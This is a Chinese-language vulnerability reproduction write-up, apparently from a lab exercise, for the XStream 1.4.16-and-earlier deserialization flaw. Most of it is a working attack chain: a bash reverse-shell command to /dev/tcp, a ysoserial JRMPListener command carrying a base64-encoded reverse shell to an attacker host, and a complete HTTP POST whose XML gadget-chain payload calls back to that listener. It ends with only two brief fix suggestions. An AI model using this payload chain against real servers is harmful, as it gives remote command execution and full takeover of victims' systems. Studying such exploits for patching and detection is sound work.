漏洞描述：

XStream是一个轻量级、简单易用的开源Java类库，它主要用于将对象序列化成XML（JSON）或反序列化为对象。

XStream在解析XML文本时使用黑名单机制来防御反序列化漏洞，但是其 1.4.16及之前版本黑名单存在缺陷。攻击者可以操纵已处理的输入流并替换或注入对象，从而在服务器上执行本地命令。

复现过程：

1.访问http://ip:port，出现如下页面，开始实验

2.对反弹shell进行base64编码

bash -i>& /dev/tcp/ip/port 0>&1

3.使用ysoserial并选择一个端口进行攻击（此处选择了1099）

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE5Mi4xNjguMC4xMDQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"

4.本地监听

5.向目标网站发送如下poc

POST / HTTP/1.1

Host: 目标ip:port

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Connection: close

Content-Type: application/xml

Content-Length: 3114

<java.util.PriorityQueue serialization='custom'>    <unserializable-parents/>

    <java.util.PriorityQueue>

        <default>

            <size>2</size>

        </default>

        <int>3</int>

        <javax.naming.ldap.Rdn_-RdnEntry>

            <type>12345</type>

            <value class='com.sun.org.apache.xpath.internal.objects.XString'>

                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>

            </value>

        </javax.naming.ldap.Rdn_-RdnEntry>

        <javax.naming.ldap.Rdn_-RdnEntry>

            <type>12345</type>

            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>

                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>

                    <parsedMessage>true</parsedMessage>

                    <soapVersion>SOAP_11</soapVersion>

                    <bodyParts/>

                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>

                        <attachmentsInitialized>false</attachmentsInitialized>

                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>

                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>

                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>

                                    <names>

                                        <string>aa</string>

                                        <string>aa</string>

                                    </names>

                                    <ctx>

                                        <environment/>

                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>

                                            <java.rmi.server.RemoteObject>

                                                <string>UnicastRef</string>

                                                <string>监听ip</string>

                                                <int>1099</int>

                                                <long>0</long>

                                                <int>0</int>

                                                <long>0</long>

                                                <short>0</short>

                                                <boolean>false</boolean>

                                            </java.rmi.server.RemoteObject>

                                        </registry>

                                        <host>192.168.20.128</host>

                                        <port>1099</port>

                                    </ctx>

                                </candidates>

                            </aliases>

                        </nullIter>

                    </sm>

                </message>

            </value>

        </javax.naming.ldap.Rdn_-RdnEntry>

    </java.util.PriorityQueue>

</java.util.PriorityQueue>

6.监听成功

如此即可继承Web服务器程序的权限，去执行系统命令或读写文件，通过反弹shell控制整个网站，甚至控制整个服务器。

修复建议：

1. 升级版本。
2. 使用安全api。